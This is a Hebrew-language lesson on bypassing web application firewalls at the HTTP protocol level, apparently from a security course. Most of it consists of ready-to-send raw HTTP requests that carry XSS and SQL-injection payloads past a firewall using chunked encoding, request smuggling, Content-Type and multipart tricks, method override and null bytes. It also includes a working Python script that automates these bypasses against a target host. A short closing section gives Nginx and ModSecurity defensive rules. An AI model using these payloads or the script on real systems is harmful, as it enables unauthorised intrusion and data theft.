לדלג לתוכן

הbypass ברמת פרוטוקול - Protocol-level WAF Bypass

הרעיון המרכזי

ה-WAF חייב לפרסר את בקשת ה-HTTP כדי לבדוק אותה. אם נשלח בקשה בצורה שה-WAF מפרסר באופן שונה מהשרת, נוכל להחביא את הpayload הזדוני. הפער בין פרסרים (parser differential) הוא הבסיס לכל הטכניקות בפרק זה.


הbypass באמצעות Chunked Transfer Encoding

כיצד Chunked Encoding עובד

ב-HTTP/1.1, במקום לציין Content-Length, אפשר לשלוח את הגוף בחתיכות (chunks). כל חתיכה מתחילה בגודלה בהקסדצימלי:

POST /search HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

4
test
0

המבנה: גודל בהקס, שורה חדשה, נתונים, שורה חדשה, ואז 0 לסיום.

פיצול payload בין chunks

POST /search HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

3
q=<
3
scr
3
ipt
9
>alert(1
b
)</script>
0

ה-WAF רואה כל chunk בנפרד ולא מרכיב את התמונה המלאה. השרת מרכיב את כל ה-chunks ומקבל: q=<script>alert(1)</script>

פיצול payload SQLi

POST /api/data HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

5
id=1'
7
 UNION
7
SELECT
8
password
b
 FROM user
3
s--
0

השרת מרכיב: id=1' UNION SELECT password FROM users--

טריק Transfer-Encoding מורכב

חלק מה-WAFs לא מטפלים נכון בווריאציות של header Transfer-Encoding:

# Space before the value
Transfer-Encoding:  chunked

# Tab before the value
Transfer-Encoding:  chunked

# Uppercase letters
Transfer-Encoding: Chunked

# Duplicate header
Transfer-Encoding: chunked
Transfer-Encoding: identity

# With a fake parameter
Transfer-Encoding: chunked; q=0.5

# New line (line folding, deprecated)
Transfer-Encoding:
 chunked

CL.TE ו-TE.CL Smuggling

כאשר גם Content-Length וגם Transfer-Encoding נשלחים, נוצר פער:

# CL.TE: WAF uses Content-Length, server uses Transfer-Encoding
POST /search HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

q=<script>alert(1)</script>

ה-WAF קורא 6 בתים (0\r\n\r\nq) וחושב שזה הגוף. השרת רואה chunk באורך 0 (סוף), ואז מתחיל לפרסר את הבקשה הבאה שמתחילה ב-q=<script>....


אי-התאמת Content-Type

JSON בגוף עם Content-Type שגוי

POST /api/login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

{"username":"admin","password":"' OR 1=1--"}

ה-WAF מפרסר כ-form-urlencoded: מפתח = {"username":"admin","password":"' OR 1=1--"}, ערך = ריק. הוא לא מזהה את ה-SQLi בתוך ה-JSON.

השרת (אם מקבל JSON בכל מקרה) מפרסר כ-JSON ומקבל את ה-SQLi.

Content-Type: multipart/form-data

POST /search HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="q"

<script>alert(1)</script>
------WebKitFormBoundary--

חלק מה-WAFs לא בודקים guf של multipart כמו שהם בודקים form-urlencoded.

החלפה מ-form-urlencoded ל-multipart

# Original request (blocked)
POST /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded

q=<script>alert(1)</script>

# The same request as multipart (may pass)
POST /search HTTP/1.1
Content-Type: multipart/form-data; boundary=X

--X
Content-Disposition: form-data; name="q"

<script>alert(1)</script>
--X--

מניפולציית Multipart Boundary

Boundary מורכב

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----AAAA----BBBB----CCCC----DDDD----EEEE

------AAAA----BBBB----CCCC----DDDD----EEEE
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

<script>alert(1)</script>
------AAAA----BBBB----CCCC----DDDD----EEEE--

Boundary עם תווים מיוחדים

# Different letter case in the boundary
Content-Type: multipart/form-data; boundary=AaAaAa

# boundary with quotes
Content-Type: multipart/form-data; boundary="----boundary----"

# Very long boundary (some WAFs truncate it)
Content-Type: multipart/form-data; boundary=AAAAAA....(200 characters)....AAAAAA

כפל boundaries

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=first; boundary=second

--second
Content-Disposition: form-data; name="q"

<script>alert(1)</script>
--second--

ה-WAF עשוי להשתמש ב-boundary הראשון (first) ולא למצוא חלקים. השרת עשוי להשתמש באחרון (second) ולפרסר את הpayload.


דריסת שיטת HTTP - Method Override

הheader X-HTTP-Method-Override

# WAF checks only GET requests, not POST
# Sending POST with an override to GET
POST /search?q=<script>alert(1)</script> HTTP/1.1
Host: target.com
X-HTTP-Method-Override: GET
Content-Length: 0

פרמטר _method

ב-frameworks כמו Rails ו-Laravel:

POST /admin/users/1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded

_method=DELETE&confirm=true

השרת מתייחס לבקשה כ-DELETE, אבל ה-WAF רואה POST.

# Override with _method in the URL
POST /admin/users/1?_method=PUT HTTP/1.1
Content-Type: application/x-www-form-urlencoded

role=admin

הheaders override נוספות

X-HTTP-Method-Override: PUT
X-HTTP-Method: DELETE
X-Method-Override: PATCH

הbypasses ב-HTTP/2

מאפיינים ייחודיים של HTTP/2

פרוטוקול HTTP/2 הוא בינארי (לא טקסטואלי), ותומך ב-header compression (HPACK). חלק מה-WAFs ממירים HTTP/2 ל-HTTP/1.1 לפני בדיקה, ובהמרה נוצרים פערים.

# HTTP/2 allows only lowercase headers
# but some servers also accept uppercase

# HTTP/2 pseudo-headers
:method: POST
:path: /search?q=<script>alert(1)</script>
:authority: target.com

H2C Smuggling

# Upgrade to HTTP/2 cleartext
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
Connection: Upgrade, HTTP2-Settings
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA

# WAF may not inspect traffic over h2c

הinjection של Null Byte

Null byte (%00) מסיים מחרוזות בשפות C-based. חלק מה-WAFs עוצרים לקרוא בנתקלם ב-null byte:

# WAF reads up to the null byte and sees only "q=safe"
GET /search?q=safe%00<script>alert(1)</script> HTTP/1.1

# In languages like PHP, the null byte doesn't always terminate the string
# so the server receives the entire value
# null byte in the path
GET /admin%00.html HTTP/1.1

# WAF sees a request to .html (allowed)
# An old server routes to /admin
# null byte in SQLi
GET /page?id=1'%00 UNION SELECT 1-- HTTP/1.1

# WAF sees id=1' (without the UNION)
# The SQL parser ignores the null byte

הערות SQL לbypass כללים מבוססי רווחים

הערות כתחליף רווח

-- WAF blocks "UNION SELECT" (with a space)
-- we'll use a comment instead of a space

UNION/**/SELECT
UNION/*anything here*/SELECT
UNION/*aaa*/SELECT/*bbb*/1

-- Full example
1'/**/UNION/**/SELECT/**/username,password/**/FROM/**/users--

הערות מקוננות (MySQL)

-- MySQL supports nested comments with a special marker
/*!UNION*/ /*!SELECT*/ 1
/*!50000UNION*/ /*!50000SELECT*/ 1
-- /*!50000 ... */ executes only on MySQL version 5.00.00 and above

-- Full example
1'/*!50000UNION*//*!50000SELECT*/username,password/*!50000FROM*/users--

הערות בהקשרים שונים

<!-- HTML comments -->
<scr<!-- comment -->ipt>alert(1)</script>

<!-- Does the browser ignore the comment inside a tag? Depends on the browser -->
// JavaScript comments
alert/*comment*/(1)

// template literal
`${alert(1)}`

תחליפי רווח - Whitespace Alternatives

תווי רווח חלופיים ב-HTTP

# Space (0x20) - the standard one
# Tab (0x09) - accepted by most parsers
# Line feed (0x0a)
# Carriage return (0x0d)
# Form feed (0x0c)
# Vertical tab (0x0b)

תחליפי רווח ב-SQL

-- Tab instead of space
1'%09UNION%09SELECT%091--

-- Newline instead of space
1'%0aUNION%0aSELECT%0a1--

-- Carriage return + Line feed
1'%0d%0aUNION%0d%0aSELECT%0d%0a1--

-- Parentheses as a space substitute (MySQL)
1'UNION(SELECT(1))

-- Comments as space
1'UNION/**/SELECT/**/1

-- Combination
1'%09UNION/*%0a*/SELECT%0b1--

תחליפי רווח ב-XSS

<!-- Tab instead of space -->
<img%09src=x%09onerror=alert(1)>

<!-- slash as separator -->
<svg/onload=alert(1)>

<!-- Newline -->
<img%0asrc=x%0aonerror=alert(1)>

<!-- form feed -->
<img%0csrc=x%0conerror=alert(1)>

Line Folding - קיפול שורות

טכניקה ישנה שנשמרת בחלק מהשרתים (deprecated ב-HTTP/1.1):

POST /search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-
 Length: 100
Transfer-Encoding:
 chunked

4
q=<s
6
cript>
8
alert(1)
9
</script>
0

הheader Content-Length מפוצלת לשתי שורות עם רווח בתחילת השורה השנייה. חלק מהפרסרים מכבדים line folding וחלק לא.


דוגמאות מלאות של בקשות HTTP

דוגמה 1 - Chunked + Encoding

POST /api/search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

7
q=1%27%20
5
UNION
1

7
%20SELEC
6
T%201--
0

דוגמה 2 - Content-Type Mismatch + HPP

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

{"username":"admin","password":"admin","password":"' OR 1=1--"}

דוגמה 3 - Multipart + Null Byte

POST /search HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----bound

------bound
Content-Disposition: form-data; name="q"

safe%00<script>alert(1)</script>
------bound--

דוגמה 4 - Method Override + SQLi

POST /api/users?id=1'%20UNION%20SELECT%20password%20FROM%20users-- HTTP/1.1
Host: target.com
X-HTTP-Method-Override: GET
Content-Length: 0

סקריפט אוטומטי לbypass ברמת פרוטוקול

import socket
import ssl

def send_raw_request(host, port, request, use_ssl=False):
    """Send a raw HTTP request"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    if use_ssl:
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        sock = context.wrap_socket(sock, server_hostname=host)

    sock.connect((host, port))
    sock.send(request.encode())
    response = b""
    while True:
        data = sock.recv(4096)
        if not data:
            break
        response += data
    sock.close()
    return response.decode(errors='replace')


def chunked_bypass(host, port, path, payload):
    """Send a payload split across chunks"""
    # Split the payload into 3-byte chunks
    chunks = [payload[i:i+3] for i in range(0, len(payload), 3)]

    body = ""
    for chunk in chunks:
        body += f"{len(chunk):x}\r\n{chunk}\r\n"
    body += "0\r\n\r\n"

    request = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"\r\n"
        f"{body}"
    )

    return send_raw_request(host, port, request)


def content_type_mismatch(host, port, path, json_payload):
    """Send JSON with an incorrect Content-Type"""
    request = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(json_payload)}\r\n"
        f"\r\n"
        f"{json_payload}"
    )

    return send_raw_request(host, port, request)


# Usage
host = "target.com"
port = 80

# Bypass using chunked encoding
response = chunked_bypass(host, port, "/search", "q=<script>alert(1)</script>")
print(f"Chunked bypass: {response[:200]}")

# Bypass using content-type mismatch
response = content_type_mismatch(
    host, port, "/api/login",
    '{"username":"admin","password":"\' OR 1=1--"}'
)
print(f"Content-Type mismatch: {response[:200]}")

הגנה - פרסור HTTP קפדני

# Nginx - blocking suspicious transfer-encoding
# Reject requests with two encoding headers
if ($http_transfer_encoding ~* "chunked.*chunked") {
    return 400;
}

# Reject requests with both CL and TE together
if ($http_content_length != "" ) {
    set $cl_exists 1;
}
if ($http_transfer_encoding != "") {
    set $te_exists 1;
}
# ModSecurity - protocol handling
# Reject chunked encoding together with content-length
SecRule REQUEST_HEADERS:Transfer-Encoding "chunked" \
    "chain,id:1001,phase:1,deny"
SecRule REQUEST_HEADERS:Content-Length "!^$" \
    "msg:'Both CL and TE headers present'"

# Reject method override
SecRule REQUEST_HEADERS:X-HTTP-Method-Override "!^$" \
    "id:1002,phase:1,deny,\
    msg:'Method override attempt'"

# Check content-type consistency
SecRule REQUEST_HEADERS:Content-Type "application/x-www-form-urlencoded" \
    "chain,id:1003,phase:2,deny"
SecRule REQUEST_BODY "^\s*\{" \
    "msg:'JSON body with form content-type'"

עקרונות:
1. פרסור קפדני - לדחות בקשות לא סטנדרטיות
2. עקביות - וידוא ש-Content-Type תואם לגוף
3. חד-משמעיות - דחיית בקשות עם CL ו-TE ביחד
4. חסימת method overrides אם לא נדרשים
5. הגבלת גודל chunks ומספר chunks


סיכום

הbypasses ברמת פרוטוקול מנצלות את ההבדלים בין איך ה-WAF ואיך השרת מפרשים את בקשת ה-HTTP. Chunked encoding, Content-Type mismatch, multipart manipulation, method override, null bytes, והערות SQL - כולם כלים שמנצלים parser differentials. הטכניקות האלו עוצמתיות במיוחד בשילוב עם טכניקות encoding מהשיעורים הקודמים.